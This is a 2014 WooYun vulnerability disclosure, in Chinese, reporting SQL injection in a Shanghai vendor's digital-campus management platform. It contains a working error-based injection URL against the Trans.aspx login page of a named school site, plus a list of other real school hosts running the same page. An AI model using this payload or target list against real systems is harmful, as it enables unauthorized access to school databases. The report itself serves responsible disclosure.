漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-080543
漏洞标题：某数字校园管理平台“多个”SQL注入漏洞2
相关厂商：上海心通信息技术有限公司
漏洞作者： 酱油甲
提交时间：2014-10-24 18:48
修复时间：2015-01-22 18:50
公开时间：2015-01-22 18:50
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-10-24： 细节已通知厂商并且等待厂商处理中
2014-10-29： 厂商已经确认，细节仅向厂商公开
2014-11-01： 细节向第三方安全合作伙伴开放
2014-12-23： 细节向核心白帽子及相关领域专家公开
2015-01-02： 细节向普通白帽子公开
2015-01-12： 细节向实习白帽子公开
2015-01-22： 细节向公众公开
简要描述：
看到xfkxfk牛发了上海心通信息技术有限公司的通过了……还是来交了吧……不交也被别人交了……
不知道与xfkxfk牛的http://www.wooyun.org/bugs/wooyun-2010-080472 撞上没……
详细说明：
上海心通信息技术有限公司（http://www.doclass.com/）的 “心通互动数字校园”系统，存在SQL注入
注入点：
/schinfo/passport/Trans.aspx
参数： UserName，passwd，userid
测试方法：
UserName处：
http://www.shixi.stn.sh.cn/schinfo/passport/Trans.aspx?UserName=1%27%2B+%28select+convert%28int%2C%28db_name%281%29%29%29+FROM+syscolumns%29+%2B%27&Password=S7lLvow2vE0T%2fjEneuKWjg%3d%3d
userid和passwd处：
访问：
http://www.shixi.stn.sh.cn/schinfo/passport/Trans.aspx?UserName=a&Password=S7lLvow2vE0T/jEneuKWjg==
然后在用户名和密码处填入payload，之后回车提交即可
案例：去www.doclass.com这里找，或者给出一些：
1.http://www.shsmly.com/schinfo/passport/Trans.aspx?UserName=a&Password=S7lLvow2vE0T/jEneuKWjg==
2.http://www.shixi.stn.sh.cn/schinfo/passport/Trans.aspx?UserName=a&Password=S7lLvow2vE0T/jEneuKWjg==
3.http://218.1.117.169/schinfo/passport/Trans.aspx?UserName=a&Password=S7lLvow2vE0T/jEneuKWjg==
4.http://www.czsz.cn/schinfo/passport/Trans.aspx?UserName=a&Password=S7lLvow2vE0T/jEneuKWjg==
等等……
漏洞证明：
修复方案：
过滤
版权声明：转载请注明来源 酱油甲@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：12
确认时间：2014-10-29 09:07
厂商回复：
CNVD确认所述注入点风险，已经由CNVD通过以往建立的联系渠道，向软件生产厂商上海心通公司通报。
最新状态：
暂无